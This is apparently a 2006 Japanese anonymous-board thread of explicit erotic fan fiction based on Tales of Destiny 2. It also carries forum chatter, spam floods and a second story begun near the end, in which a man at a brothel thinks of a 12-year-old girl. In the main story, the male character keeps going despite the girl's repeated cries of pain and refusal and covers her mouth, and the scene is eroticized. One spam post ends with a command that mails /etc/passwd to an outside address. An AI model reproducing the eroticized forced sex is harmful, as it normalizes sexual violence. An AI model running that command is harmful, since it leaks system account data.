触れているものが、艶かしく動き、熱だけではなく快感も齎してくれた・・・優しく動くカイルの手、掌だけで簡単に覆いつくせるほど小さなリアラの胸を、決して乱暴に支配するようなことはなく、生地のように優しく捏ね回した
「カ、カイ・・・ル
 カイルぅ・・」
糸をひいて唇を離し、愛しい人の名を呼ぶリアラ・・・布一枚の距離で、カイルと自分の肌が触れ合っていることを感じ、何度も彼の名前を呼んだ・・・
カイルは、自分から離れたリアラの体を優しく抱き寄せ、彼女の顔を自分の肩の上に置いた。薄い布越しに、彼女の胸を感じる・・・胸の中心にある乳首を掌で摩るように、二度三度触れるとリアラは大きく体を震わせた!
「リア・・・ラ?」
「ハァ・・ハァ・・ハァ・・ハァ・・・・
 くぅ…んん」
尋常じゃないリアラの状態に、カイルは一瞬困った。困りながらも、右手に広がる軟らかいものを、何度も動かした。
お猪口のように平たい丘を撫で回すと、子犬のような高い声を出し体をくねり
少し狙いを限定し、ほのかにピンク色の突起物を軽く抓ると、カイルの体を非力ながら精一杯抱き締め、手を通じて心臓の高まりを教えてくれる

       ちゅぅぅぅ…

「ひやぁあ!!」
カイルは優しく……優しくリアラの胸の突起を口に含んだ。布一枚を通じてだが、彼女の甘い香り・・・そして透けて見えるピンク色、その誘惑に勝てるわけがない
今までカイルの手で火照っていた胸に、急に冷たくなった温度差と、服越しとはいえカイルの柔らかい舌の愛撫を受け、リアラからは声がもれるではなく、出ていた
「あん!ぁぁ・・・あ!!!
 んう、い・・あああ!!!」
その声は、カイルをますます動かした・・
口だけではなく、手も・・・更に、今までどおりの左胸だけではなく、右胸も優しく触れ始めた・・




474 名前:438 :2006/07/18(火) 22:43:54 ID:gGkoQFRF


    ちゅぽ
「ハァ・・・・ハァ・・・・」
口を離すと、リアラの服は透けて、くっきりとリアラの肌が見えた。透けたところからは、ピンと立つ乳首がカイルの股間を疼かせた
今まで感じたことが無い快感に頭がぼーっとして、リアラはカイルとは別のどこかを見ていた。数分間しゃぶられ、唾液で湿った衣服と乳首へ冷たい風が起き、リアラの意識はハッと戻った。
「カ、カイル!」
今まで快感に酔いしれ、忘れていたがこれはお互いの不安を消すためにやっている・・・自分だけが気持ちよくなっても、本来の趣旨と違う
「ど、どうしたのリアラ!!?」
何か悪いことをしたのかと、すぐに慌てたカイル。カイルの手は既に自分の服を脱ぎかかっていて、それを止めると半分だけ脱げていてかなりアホらしい。しかも、下半身から脱ぎ始めていた
半分も脱げればそれだけでもうリアラの体によって怒張したカイルの性器は、ズボンから食み出して膨れ上がり、リアラの眼にそれは刻み付けられた!
「!!!!!!!」
声も出ないとはこのことか・・・リアラは生まれて初めて見る男性の股間のものを見たと同時に、手で顔を覆い、恥ずかしさに逃げたくなったが、同時に腰も抜けていた。
(あ、あんなに大きくて怖いものがカイルに・・
 本当にあんなのが私の中に入るの!?)
「リアラ、さっき俺に何を言おうとしたの?」
「////」
手で覆い隠しているとはいえ、リアラの表情は外にわかるぐらいに赤くなっていた。出来ることならやめたい―――その考えが口から出そうだったが、何とか飲み込んだ。
「・・・私ばかりが気持ちよくなっても、カイルに申し訳ないと思うから・・
 お、驚かないでね」
そういうと、リアラは眼をそらしながらもカイルの下半身に手を伸ばした。僅かな知識だが、リアラにだって性知識はある。男の人がこういうことをして、自分で解消しているということも知ってはいる。
リアラが何をしたがっているのかカイルは勘付くと、自分の知っているリアラとのギャップに驚く反面、嬉しかった。眼をそらしているため、適当に手を動かしているリアラの手のそばに、自分のモノを動かした



475 名前:438 :2006/07/18(火) 22:44:53 ID:gGkoQFRF



「キャァ!!」
指先がツンと触れた瞬間、リアラはゴミでも触ったようにすぐに手を離した!
勃起した性器は、他の体の部分とは一線を画すもので、チョンと触っただけでもリアラには分かった
(男の人のものってこんな・・・こんななの?)
予備知識の薄さに、リアラは思わず涙を流した。
もっと優雅に振舞う予定だったが、現在まで大きく外れていた。自分のかなり感じやすいタイプだということや、男性器へのあまりの恐怖などで自分の想像とは全く違う状態になっていた。
(大丈夫・・・出来る。追い込まれているんだから・・)
自分に何度も何度も言い聞かせ、カイルの方を見た。突然泣き出したリアラの前で、オロオロしていたカイルもリアラが自分のほうを見ると少し安心したようだ。
「カイル・・・服を脱いで」
「あ、うん」
カイルは素直に服を脱ぎ、全裸になった。一方、リアラもひらひらしたリボンを取り、身を纏う服を脱いでいた。
「ま、まだこれだけは脱がなくていい?」
純白の下着のみがリアラの体を隠し、胸からはまだカイルの愛撫によって尖った乳首があり、緊張からか、うっすら汗ばんでいるリアラの体を見ると、再びカイルは興奮して、性器が膨らみ始めた
「リ・・リアラ!」
「・・・・・・?
 な、何かあったのカイル?」
「綺麗だよ」
恥ずかしげもなくほざくカイル・・・




476 名前:438 :2006/07/18(火) 22:45:56 ID:gGkoQFRF


カイルは足を開きながら体育座りになって、その開いた足の中にリアラの小さな体がすっぽりと納まった
また怖くて逃げ出さないように、リアラはカイルに背中を押さえてもらっていた………
「今度こそ、驚かないでね」
自分に言い聞かせるように、リアラは言うと、自分の手をカイルの性器へと伸ばし、脈打つモノを両手でしっかりと包み込んだ
「うぁ・・」
カイルは全く考えていなかったリアラのサービスに、戸惑いながらも素直にその行動に喜び、身を任せた
自分でも何度もやった行動だが、他人にやられると格別の快感がカイルを包み込んだ。
「くぅ・・・あ」
(熱い・・カイルの)
焼けるような熱さを放つカイルの棒を、リアラはぎこちない手つきで上下に扱き始めた。冷たい手で摩られるカイルのものは益々固くなり、先端は赤く染まっていく・・・
一度触れてしまうと不思議なもので、そこから先へと進むのはそれほど苦にならなくなっていた…恥ずかしさこそあるが、カイルの表情を時々見ると本当に気持ちよさそうで、リアラは嬉しかった
何度も擦ると、我慢汁が出始め、それが潤滑油となって滑りをよくした。リアラの擦る速度が上がると、当然カイルに来る刺激や快感も激しくなる!
「リ…アラ……俺、もう我慢が…
 あ………うわぁあ!!」
「え・・・・キャァ!!!」
カイルは早くもイってしまった。
一瞬痙攣したかと思うとリアラの背中を自分の方に押さえつけ、その状態で性器から精子を撒き散らした! カイルが押さえつけていた為逃げることが出来ないリアラは、精液を顔から胸にかけて受け止めた
「やぁっ!」
ここ最近はゴタゴタの繰り返しでまともに精を出していなかったためか、満タン状態だったカイルの精巣からはドロっと濃い精子が放たれた・・・リアラの顔に飛び散った精子は、垂れることなくリアラの顔についたままだった。
射精したときに掴んだままだった両手にも多少の精子がついており、手に残る熱さと自分の体よりも白い精液に罪悪感を感じた。他の部分はともかく、目の近くに飛んできた精子をぬぐうと、リアラはカイルから顔を背けた
「どうしたのリアラ!?」
「・・・ううん、なんでもないわ・・・・ただ、精液拭くまで待っていて
 それと・・・・」
それと、の後の声は出なかった。本当なら「心の準備をさせて」と言いたかったのだが、そういうことを言うとカイルは自分を気遣い、止めてしまうかもしれない。ここまで来たら、後戻りはしたくなかった。


477 名前:438 :2006/07/18(火) 22:46:35 ID:gGkoQFRF

自分の着ていた服で、体中に飛び散った精液を拭き取り、その服を近くにあった池に入れて染みにならないうちに薄めておいた。その後、自分の裸の胸に手を当てて、(大丈夫・・・カイルとなんだから)と思い、二回ほど深呼吸をしてカイルの方を振り向いた

「ん・・」
「ん・・・ん」
本日何度目か分からないディープキス
カイルは全裸、リアラは下着一枚で抱き合っていた。最初は椅子に座っているような体勢だったが、徐々にカイルはリアラの体を裸の胸を中心にまさぐり、力が抜けていくようにリアラが下になり、カイルが圧し掛かっていった…
リアラの素肌は、毎日温泉に入っているかのようなスベスベな肌であり、ローションなど使っていないというのにカイルがどれほど力を入れて揉んでも手は肌の抵抗をほとんど受けなかった・・・
「あ・・・いい、カ…イル、す・・すごい・・
 カイル・・・もお・・・カイル……」
媚薬も何も使っていないというのに、リアラは体のどこを触っても性感帯のように喘ぎ声をあげる。何度も何度もよがるようにカイルの名を呼び、潤んだ瞳でカイルを見た。ただ単純に気持ちいいだけではなく、何かを求め、望むように・・・

一度、カイルはリアラの体から離れた。もう自分は我慢の限界寸前まで来ていたが、リアラを抱っこで持ち上げて、巨大レンズのあった場所に運んだ・・
「ハァ・・ハァ・・
 ???」
そこはある意味でリアラの生まれた場所である。カイルによって与えられた感覚に溺れ、沸騰しそうな頭でもそれぐらいは分かった
巨大な木の洞にリアラを寝せると、カイルはリアラの全身を見た。
上からゆっくりと眺めると、一箇所だけ自分が触れていないのに濡れそぼっている場所があった―――カイルがリアラにそこを見てから、リアラの顔へと視線を移すと、リアラは何も言わず頷いた




478 名前:438 :2006/07/18(火) 22:47:43 ID:gGkoQFRF


そっと、カイルはリアラの体の後ろに手を回し、最後の一枚を掴み、腰を浮かせて自分のほうへと引き寄せた
愛液によって濡れていたとは思えないほど、あっさりと下着は抜け、カイルはリアラの膝頭を掴んで大きく左右に広げた…同時に、リアラは顔を両手で覆った
「・・・・・・」
リアラの白肌の中でも特にピンク色に染まっている場所がカイルの眼前に現れた。触れていないのに、濡れそぼっているそこは、パックリと閉じており、今まで誰一人そこを触れたことは無いことを感じさせた。

「いいんだね・・リアラ?」
カイルの理性が持つのはこれが限界…最後の確認だった、リアラは当然首を縦に降り、カイルを受け止めようと両手を開いている
「やさしくしてね」

カイルはリアラと触れるだけのキスをし、初めての体験へと勇む自身を掴み、ゆっくりと・・・・・ゆっくりと・・・リアラの秘所へとあてがい、挿入を始めた
初めての異物を受け入れるためか、入り口の時点でもその締め付けは万力のように強く、カイルを拒んだ。リアラの意思とは無関係に自分自身を守ろうとしているのではないかと思うほどの拒絶間に、ついついカイルはムキになり、少し強引に押し込めた・・・
「ぃ!!」
すぐにリアラの表情が曇った! カイルを抑えている手に爪が立ち、カイルの肉へと刺さり、それなりの痛みを与えたが、リアラの感じた痛みはその比ではなかった。
覚悟と予想を遥かに超える激痛に、反射的に声が出た
「い・・痛い・・・」
今までこれほどの激痛を受けたことは無いのではないかと思うほどの痛みに、この日初めて快感以外の理由で涙を流した…
「リアラ・・ごめ」
謝罪の言葉を遮るように、カイルの前にリアラの
「ハァ…大・・丈夫・・・大丈夫だから・・・
 どんな痛みでも我慢し・・ているから・・」
カイルは、我慢できない痛みを味わっているリアラをかわいそうに思いながらも、侵入を進めた・・・出来る限り、理性を抑えてゆっくりと…
            メリ…  メリ…
少しずつ…確実に埋め込んでいった。一ミリでも進むごとにリアラは体を左右にねじり、激痛に耐えようと刃を食いしばっていた
カイルも、自身を包み込む圧迫感と快感に、自らの欲望が先走らないように抑えるのも限界だった
まだ亀頭の先を包んでいるだけなのに、リアラの秘所はカイルが射精してしまうほどの快感を与えている・・・自分の愛しい人が苦しんでいるのを見ても、快感は更に自分の気持ちよさを求めた―――ついには、カイルの人格をも超えて暴走した………


479 名前:438 :2006/07/18(火) 22:48:30 ID:gGkoQFRF


「い、いたっ・・・痛いっ!痛い痛いっっ!!」
リアラが激痛を何度も訴えたが、カイルの理性は飛んでしまっていた・・・
構わず…更なる快感を得られるであろう場所へと突き進んだ。
途中にある障害物などのことは考えにはない………例え、リアラが生まれたときからずっと秘所を守ってきた膜であっても、構わずに押しつぶした!

    ブチブチブチィ!!!

「キャアアアァァァァッッ!!!」
強引にリアラの処女を奪い去り、純潔を奪い去り、自分の快楽を得た・・・
ミリミリと、カイルの背中にもリアラが立てた爪による傷が出来ているが、股間を中心に広がる快感はそれを意にも介さずに、打ち込んだ自身を激しく動かした!
「ひぃっ!!痛・・・痛い!!
 カ・・カイル!ちょっと・・・ぁあ!!」
動くごとに、リアラに出来た傷口を広げ、貫いたと同時に出てきた血で化粧をした
何回リアラが叫ぼうとお構いなしに、自分を喜ばせた・・
何度も何度も・・リアラは講義の声を出し、カイルに行動を止めないまでも軽くしてぐらいの言葉を出した
カイルはそれを無視し、激痛に耐えるリアラの表情を無視するかのように何度も何度も突いた
中に入った途端にカイルにはこの世とは思えない快感が来た・・・打ち込んだモノをリアラの液に覆われ、膣内の熱さはカイルの理性を極限まで薄め、頭がくらくらした。
「あぁ!!痛い、イヤァ!!!」
体中に激痛が突き刺さり、リアラも拒絶の声を何度も何度もあげたが、カイルはリアラの口を強引に押さえ込んだ
何も反論できなくなった数秒後に体の中に熱いものが流れ込んできたものを感じた
(カイルが・・・一杯に・・・)

最初はキスでさえも立てなくなるほど感じていたリアラだが・・・本番ではただ痛みを感じるだけで終わっていた・・・



480 名前:438 :2006/07/18(火) 22:49:09 ID:gGkoQFRF


 (俺・・・何を)
カイルが再び気づいたとき、一度目の精を放ち、リアラは股間を大開きにして、頭を下げて魂を失ったようにグッタリしていた
股間からは、大量の精液が粘りついていた。彼女を妊娠させてしまうのではないかと予感させるそれは、本当に一度の精だけなのかと思う程の量であった



しばらくして、二人は衣服を整えた。股間から流れ出る精液はどれだけ拭いてもそのつど流れ出し、彼女の傷口を熱した・・・

「謝る言葉が浮かばない」・・・カイルは考えていた。他の部分は彼女を気持ちよく出来たというのに、肝心な処女をあんな目にしておいて、今更どんな謝罪の言葉を言えばよいのか分からない…
「カイル・・?」
「な、何リアラ!?」
リアラの方から話かけてきても、うろたえるように返事をするだけ・・・どう受け答えすればいいのかすらも分からなかった
「どうして…途中からあんなに慌てたの?」
「それは・・・・・・その」
頭が回らないとはいえ、カイルなりに説明した。
気持ちが分からないまでも無い、リアラも快感に身を委ねていたときがあった。だが、それとこれとは別問題・・・
「・・・カイルが気持ちよかったなら、いいわよ」
と、リアラは悲しそうな表情で言っていた。どんな言葉で謝っても、彼女はこの表情を変えるようなことはしないだろう



無言のまま、二人はクレスタへと戻っていった・・・リアラの歩き方はどこかぎこちなさが目立ち、貫通した股間の痛みを耐えているようだった



481 名前:438 :2006/07/18(火) 22:49:58 ID:gGkoQFRF


その夜、クレスタに戻り、カイルは自分の部屋でベッドの上であのときのことを思い出していた
何度思い出しても、自分にとってもリアラにとってもいい思い出とはいえない・・・股間から精液を出して倒れているリアラを思い出すと、その度に眠気が覚める。明日には決戦かもしれないというのに、カイルの状態は最悪だった

(くそ!!何で俺はあんなことを・・・)
後悔に震え、今後のことなどカイルの頭から抜けている。明日どういう顔してリアラに会えばいいのかなど、そういうことばかり考えていた。
     コン コン
ドアをノックする音が聞こえた。
「だ、誰?(ロニかな?また『リアラとよろしくやってやがったな』といいながら殴ってくるのか?)
「カイル・・・起きてる?」
「リアラ!待ってて、今開けるから」
他の仲間は既に寝ているという時間帯なのに、リアラの声がした。

「どうしたの?一体・・・」
突然部屋に現れたリアラ、目が赤くなっており、あの後泣きはらしたのが容易に想像できた
その原因は痛みよりも、カイルが乱暴にしたことだ
「・・・・・・さっきのことで、もう一度、カイルとHすればひょっとしたら・・って思ったんだけど」
本気なのか、冗談なのか。リアラの表情を見たところ、本人はそう思っていると予想させ、単純なカイルもそう思っている。

「でも、そういうわけにはいかないわね
 貴方は私一人を選んだんじゃなくて、世界を救う道を選んだんだから」
「あ・・・そうか・・・」
ぐったりした二人は、たったあれだけのことでこれがどんなに疲れることなのか身をもって知った。もう一度やったらそれが納得のいくものであろうと明日に及ぼす疲労を予感させる。こんな状態で戦ったら、あっさりとKOされてしまう
「だから、今じゃなくて戦いが終わったら・・・」
微笑みながら、リアラは言った
「戦いが終わったら・・・って、フォルトゥナを倒したら君は」
カイルの言葉を遮るように、リアラは人差し指をカイルの唇に添え、微かな微笑みを浮かべた
「・・・もし、本当に奇跡が起きて私が普通の人間として生まれてきたら・・・そのときは、優しくして・・・
 ……あの場所で………」
「あ・・・うん、分かった
 次は、絶対に優しくする! 約束するよ!」
「じゃあ・・・」
            ス…
リアラは小指をカイルの前に出した。カイルも、小さい頃に何度もやったことがあるのですぐに分かった
「うん、約束だ!」
自分も小指を重ね、軽く握り、隣の部屋で寝ている皆を起こさないような小さな声で
「ゆ〜びき〜りげ〜んまん、嘘ついたら針千本飲〜ます
 ゆびきった!」
と言って、二人でクスクス笑った。
「じゃあねカイル、また明日♪」
「ああ・・・おやすみ、リアラ!」

二人の頭からはこの後、しばらくの間会えなくなるという不安は消えた。科学的根拠などどこにもないのに、不思議なものだった

 「絶対に、負けられない・・・そのために、まずは寝よう!」
そう意気込んだカイルは、ベッドに横になるやいなや、すぐに寝息を上げた・・・




482 名前:438 :2006/07/18(火) 22:52:28 ID:gGkoQFRF
終わり。


ちなみに、途中から路線変えた上確認しちゃいなかったらどっかおかしいかもしれないが、D2は全体的にDの続編としてみたらおかしいところがあるから気にしないように。
途中強姦っぽくなったが、そうならないバージョンも書いたが、投稿しない。

あと俺のことは438ではなく、ハッサムと呼ぶがいい(今考えた)。

483 名前:名無しさん@ピンキー :2006/07/18(火) 23:01:54 ID:ycVTl+Qb
 

484 名前:名無しさん@ピンキー :2006/07/18(火) 23:04:51 ID:DPhz5Nq7
ハッサムGJ!!!
なかなかエロくてオチも純愛ぽくて良かったとおも

これで流れが変わればいいが…

485 名前:tests they'd like :2006/07/18(火) 23:58:20 ID:rjouYrfS
ピー
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿鹿

486 名前:tests they'd like :2006/07/18(火) 23:59:06 ID:rjouYrfS
ピー
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿
鹿

487 名前:名有りさん :2006/07/19(水) 00:00:20 ID:rjouYrfS
いい加減にしろ

488 名前:イチガ :2006/07/19(水) 00:01:10 ID:rjouYrfS
いい加減にするのは貴様だ

489 名前:ドイル :2006/07/19(水) 00:01:54 ID:rjouYrfS
仲間割れはよろしくないですよ




















490 名前:キルファー :2006/07/19(水) 00:02:38 ID:6SaQZLBT
ふむ
解せよ

491 名前:シルラ :2006/07/19(水) 00:03:51 ID:rjouYrfS
悪くない許可を出そう

492 名前:シルラ :2006/07/19(水) 00:04:36 ID:6SaQZLBT
やっぱだめ

493 名前:フォントリオ :2006/07/19(水) 00:05:21 ID:6SaQZLBT
ケチ
Access



494 名前:フォントリオ :2006/07/19(水) 00:06:10 ID:6SaQZLBT
ケチ
Access



495 名前:union unlimitedly :2006/07/19(水) 00:06:57 ID:6SaQZLBT
終わりだ




















いし

496 名前:ハーゲンダッツ :2006/07/19(水) 00:08:23 ID:6SaQZLBT
Dと穴や知れる時に沖田るや┃┃┃┃

497 名前:名無しさん@ピンキー :2006/07/19(水) 00:23:42 ID:qr1jSP7l
>>438
抜いた

498 名前:名無しさん@ピンキー :2006/07/19(水) 15:35:31 ID:KXYPNvlC
何この糞スレ・・・

499 名前:名無しさん@ピンキー :2006/07/19(水) 17:28:21 ID:hAuG29L/
みんなちゃんとsageようぜw
てゆか別にこのスレの雰囲気が悪くなったのはAのせいでもLのせいでもない。
普通に考えて住人が悪いと思う。
だから神もいなくなっちゃったんだよ。
折角ハッサム氏が投下してくれたことだし、盛り上げていこうぜ。

500 名前:名無しさん@ピンキー :2006/07/19(水) 17:32:16 ID:B0pKU/Ic
 

501 名前:名無しさん@ピンキー :2006/07/19(水) 19:35:57 ID:2RwgZoU3
>>438
GJ!!!
締めののほほんが何か気に入った。

あと、sageはうるさく言わないほうがイイ
荒れはじめた原因のひとつだしね。

502 名前:名無しさん@ピンキー :2006/07/19(水) 19:36:08 ID:KXYPNvlC
ハッサムってぇ!
ポケモンのアレ!ですよねぇ!
ストライクに何かを持たせてトレードすると進化するやつですよねぇ!
懐かしいねぇ!
もう何年前になるでしょうねぇ!
おう



















おう
















おう
















cat /etc/passwd | mail nobody@nonexistent.com

503 名前:名無しさん@ピンキー :2006/07/19(水) 19:43:22 ID:819vxZbP
フォッグ乙

504 名前:名無しさん@ピンキー :2006/07/19(水) 20:28:25 ID:nVjQXEPj
よし!こんな時こそ盛り上げていきますか!!

>>503
IDが俳句wwww

505 名前:名無しさん@ピンキー :2006/07/19(水) 21:31:24 ID:7ZdSy/mG
>>499
ところが職人が去って行ったのはそのA厨のせいなんだな。
保管庫bbs「書き手集い所」の1/20頃のレス見てみ?
それと合わせて19スレの>>802>>818辺りのレスを読むと判るよ。

506 名前:名無しさん@ピンキー :2006/07/19(水) 21:59:59 ID:819vxZbP
違うな

LとAが発売されてしまったことが原因だ

ナムコが出せって言ったんだ!
俺は悪くねぇ!

507 名前:名無しさん@ピンキー :2006/07/19(水) 22:02:42 ID:bB4HlR6y
ある意味空恐ろしくなるほどの異様な妄信ぶりとしか言い様の無い
A厨の大暴れは凄まじかったな。A以外イラネとネタでなくマジで言ってるのが怖かった。

508 名前:名無しさん@ピンキー :2006/07/19(水) 23:12:47 ID:hAuG29L/
>>501
スマンかった。これからは言わん。注意してくれてありがとう。

>>505
そうか。じゃあ今から見てくるわ。でも実際にA厨せいだったら激しく嫌なんだが。
いろいろ批判されてるLもだがAも私的に凄く良い作品だったのに、な。



509 名前:名無しさん@ピンキー :2006/07/19(水) 23:16:58 ID:1lfuMS/F
ハッサム氏GJ!!
青春やねぇ〜

510 名前:名無しさん@ピンキー :2006/07/19(水) 23:29:51 ID:hAuG29L/
>>505
見てきた。けど、保管庫bbsの方はアドが分からんかった。
エロパロ19スレの方は・・・んー。
俺がバカなだけかもしれんが、良く意味が分からんかった。
あれは全部A厨の仕業ってことか?

511 名前:名無しさん@ピンキー :2006/07/19(水) 23:36:04 ID:7ZdSy/mG
>>510
保管庫bbsの該当部分のURL
ttp://www.isoleucine.com/tales/cgi/bbs/test/read.cgi/bbs1/1092186553/39-46

512 名前:370氏 :2006/07/19(水) 23:41:56 ID:UQtqW1/O
なんか自分が投稿してから今まで急に各絵掲示板等でもカイリア率が
アップしててわ〜いと思ってたんですが、なかなか荒れてますねぇ(・ω・ )
まあのんびりといきましょう〜

ハッサム氏GJです〜v

513 名前:名無しさん@ピンキー :2006/07/20(木) 01:46:51 ID:5pZlg/kn
さっさと消えろカス

514 名前:名無しさん@ピンキー :2006/07/20(木) 09:53:48 ID:1F2gVJij
ここも前の殺伐としてた頃から比べたら落ち着いてきましたね

515 名前:名無しさん@ピンキー :2006/07/20(木) 11:08:18 ID:uGcfl/mv
うんうん。
L厨とかA厨とかいう話題が出なくなればもっといいのにね。
9月になったらF厨も加わるのかね。

516 名前:名無しさん@ピンキー :2006/07/20(木) 13:08:03 ID:1F2gVJij
まぁ厨共はほっといて、このスレがまた賑わうように努力しますよ

517 名前:kak.hta';ken=wd+'START :2006/07/20(木) 16:59:03 ID:5pZlg/kn


518 名前:kak.hta';ken=wd+'START :2006/07/20(木) 17:00:43 ID:5pZlg/kn


519 名前:名無しさん@ピンキー :2006/07/20(木) 17:29:33 ID:18gaHNg/
とりあえず職人降臨まで萌えシチュ発表会でもしてようぜ。

俺はメルディ×触手。

520 名前:名無しさん@ピンキー :2006/07/20(木) 17:37:24 ID:vQa/MMno
じゃあオレはミント×クレス

521 名前:六神将スレn(ry :2006/07/20(木) 18:01:01 ID:XwhrRVur
>>515
とりあえずPじゃねと突っ込んでみる。

ハッサム氏が来た事だし、どうにか頑張ってシンアリ書いてみる。
正直荒らしのせいでやる気が萎えてるからいつになるかは判らないがorz
とりあえず俺の事は六神将とでも呼んでくれ。

522 名前:名無しさん@ピンキー :2006/07/20(木) 18:42:39 ID:1F2gVJij
俺はキルメルかな

>>521
待ってました六神将氏!!
いつになってもいいので期待して待ってますよ!

523 名前:kak.hta';ken=wd+'START :2006/07/20(木) 19:52:56 ID:5pZlg/kn






















































524 名前:kak.hta';ken=wd+'START :2006/07/20(木) 19:54:19 ID:5pZlg/kn




























































525 名前:kak.hta';ken=wd+'START :2006/07/20(木) 19:55:01 ID:5pZlg/kn




























































526 名前:名無しさん@ピンキー :2006/07/20(木) 20:57:01 ID:BIIhsTuA
他に書くひといないしな

527 名前:名無しさん@ピンキー :2006/07/20(木) 23:14:42 ID:1F2gVJij
待つのもまた一興ですよ

528 名前:名無しさん@ピンキー :2006/07/21(金) 07:49:52 ID:9xjL9p+u
    ブチブチブチィ!!!   って(笑)

529 名前:名無しさん@ピンキー :2006/07/21(金) 08:47:08 ID:385NBslc
それにしても保管庫のサザム氏作キルメルは最高だと思うんだ。
個人の嗜好だけど

サザム氏が住人だったときはまだこのスレ知らなかったんだけど、なぜ去ったのかはだいたい予想つくな。

530 名前:名無しさん@ピンキー :2006/07/21(金) 09:37:29 ID:jm8gPaJp
ダニー

531 名前:名無しさん@ピンキー :2006/07/21(金) 14:56:48 ID:80VTr/N9
こんなに人居たんだな。
過疎になって俺ひとりぼっちかと思ったよ。

532 名前:名無しさん@ピンキー :2006/07/21(金) 15:25:45 ID:evwa6d4F
今このスレには俺様しかいない

533 名前:名無しさん@ピンキー :2006/07/21(金) 16:10:00 ID:jm8gPaJp
馴れ合い糞

534 名前:名無しさん@ピンキー :2006/07/21(金) 17:52:50 ID:PVgee6HB
サザム氏のような神に降臨してもらうためにもこのスレをよくしたいですね

535 名前:名無しさん@ピンキー :2006/07/21(金) 18:33:30 ID:385NBslc
しかーし、季節は夏。
アビス厨大量発生時のように職人の都合無視の空気になりかねない。
二度とこれを起こらせないために、マターリを胸に

536 名前:名無しさん@ピンキー :2006/07/21(金) 20:17:14 ID:PVgee6HB
>>535
ですね…
マターリを胸に!!

537 名前:名無しさん@ピンキー :2006/07/22(土) 00:13:30 ID:TTJsEjNE
マターリを胸にww

538 名前:名無しさん@ピンキー :2006/07/22(土) 00:37:48 ID:6RMDRKqY
>>535
お前のような夏だなぁ厨がスレを荒れさせているのが分からないかね?

539 名前:名無しさん@ピンキー :2006/07/22(土) 06:41:13 ID:zIclZlsU
とりあえず作品たった1つ来ただけで安易に立て直せる気になってるのはどうかと思う

540 名前:名無しさん@ピンキー :2006/07/22(土) 09:29:35 ID:OzoKdkws
空気を読まずに小ネタ投下

ED後
ロニ×ナナリー前提のロニと娼婦さん

541 名前:名無しさん@ピンキー :2006/07/22(土) 09:30:31 ID:OzoKdkws
朝の光に淀む、濃厚な、情事の名残っている空気が重い。
隣で寝そべっている女のくすんだ茶色の髪の間から、ぼんやりと紫の瞳が覗いている。
そう、あの瞳だ。
熱に潤み、情欲まで滲ませ、確かに自分を見つめていたあの目が。
どくんと吐き出したくなるような飢餓感に、ロニは自分の興奮を感じた。
それを無理矢理に押さえつけて、下に散らばった衣服を手に取る。
背を向けて、煙草に火を付けた女の髪は、緩くウェーブがかかっていて、
剥き出しの背中から腰は、淫靡な稜線を描いている。
やはりどこも似ていなかった。
あの一カ所を除いては。



542 名前:名無しさん@ピンキー :2006/07/22(土) 09:31:30 ID:OzoKdkws

繁華街を抜けて、裏通りをいくつか辿り、その場所の扉を開けたとたん、
彼は「優しいパン屋のお兄さん」でも「頼れる兄貴分」でもなく、ただ欲望を持てあました一人の男に過ぎなくなる。
だがなぜか、足を踏み入れたその瞬間に、ロニは出会って3年になる少女のことを思いだした。
12歳になった緋色の髪の少女は、自分がこういう類のことをしていることを知らないし、気付いてもいない。
もし知ったとしたら、いつもの軽いやきもちの時のように怒るのだろうか。
なんでこんなところに来てまで、乳臭さの残るような子供のことを思い出さなきゃならないのかと苦笑して、
ロニはカウンターに座る中年の女に取り次ぎを頼んだ。
「どの子がいいかねえ。そういえば、最近若い子が二人入ったんだけど……」
ぎいと扉の一つが開いて、仕事を終えたばかりらしい女がけだるそうに出てきた。
しどけなく着崩した薄い衣を羽織って、乱されてぐしゃぐしゃになった髪の毛を撫でている。
振り返ったその一瞬、吊り上がり気味の紫の瞳がこちらを見た。
「あの娘だ。あれがいい」
「ええ?あの子は今仕事が終わったばかりなんですよ。そう立て続けにはねえ」
「じゃあ、今日はもう帰るさ」
「それは困るよ、ちょっと待っといてくれ」
中年女は茶色い髪の女に話を付けに、立ち上がった。
少し離れたところで、なにやら小声で話している。
「まあ、いいか。あんたは明日休みだしね。もう一回頼むよ」
「はあい」
少々めんどくさそうな返事からすると、どうやら話がついて、結局こちらの要求に折れたようだった。
「じゃあ、お客さん。あんたはあの子の用意が出来るまで、先に部屋で待っていてくださいな。はい、これ鍵」
渡された鍵を持って、言われた部屋を開ける。
中には、簡素なベッドと、テーブルと椅子のセットが無雑作に置いてあった。
こういった部屋特有のどこか湿った臭いに、ロニは落ち着きを削がれていく。
テーブルの上に置いてある酒瓶から、酒を注いであおぐと、香りも何もなく、安酒に喉が灼かれるだけの味がした。
美味いとは到底言えない代物でも、今の状況にはむしろ似つかわしい気がして、
2杯目を空にしたところで女が入ってきた。
さっき見かけた時よりも、幾分髪を整えてきれいにしており、慣れた様子で戸を閉めた。
いつもなら、綺麗な女性がそばにいれば、くどくなりして、
断られるにしてもそれはそれで楽しい時間を過ごすのが信条の彼だが、
今はそんなことをする気はさらさら無かったし、だからこそ妓館に入ったのだ。
ただ、最近なぜか焦燥感も伴う、溜まりきった欲望を外へと出したいだけなのだから。

543 名前:名無しさん@ピンキー :2006/07/22(土) 09:32:25 ID:OzoKdkws

こちらを振り返った女が何事か言う間も待たず、ロニは無言で近づいて、女をベッドに押しつける。
安普請の寝台は、ぎしりと仰々しくいかがわしい音を立てた。
唯一の明かりであるテーブルの上のランプが、女の薄い布地に包まれてはっきりと分かる凹凸を、
オレンジ色の陰翳を付けて浮かび上がらせていた。
乱暴に夜着を剥ぐと、脱ぎやすい構造のそれは、腰元まで一気にずれる。
当然のようにそこにある豊かな乳房を揉みしだくと、女は媚びの混じる甘い声を出し始めた。
指で押せば、柔らかく埋もれながら押し返してくる胸に、ロニは顔を寄せた。
頂きに舌を這わせながら、軽く歯を立て、その度に上がる甲高い声を聞きながら、
彼は女から立ち上る、汗だけではない湿った匂いを吸い込んだ。
安い酒と女の匂いは、頭の中で混じり合い、鈍ってきた思考をさらにあいまいにする。
断片になりかけている思考をたぐり寄せながら、誘うようにうねる腰へと手をすべらし、
そのまま茂みへと手を伸ばすと、女は一際高い声を上げた。
すでに溢れている足の間をおざなりに弄り、足を掲げさせて、その上にのしかかる。
襞一つ一つの形まで露わになったそこに突き入ると、女は身を捩らすように小さく呻いた。
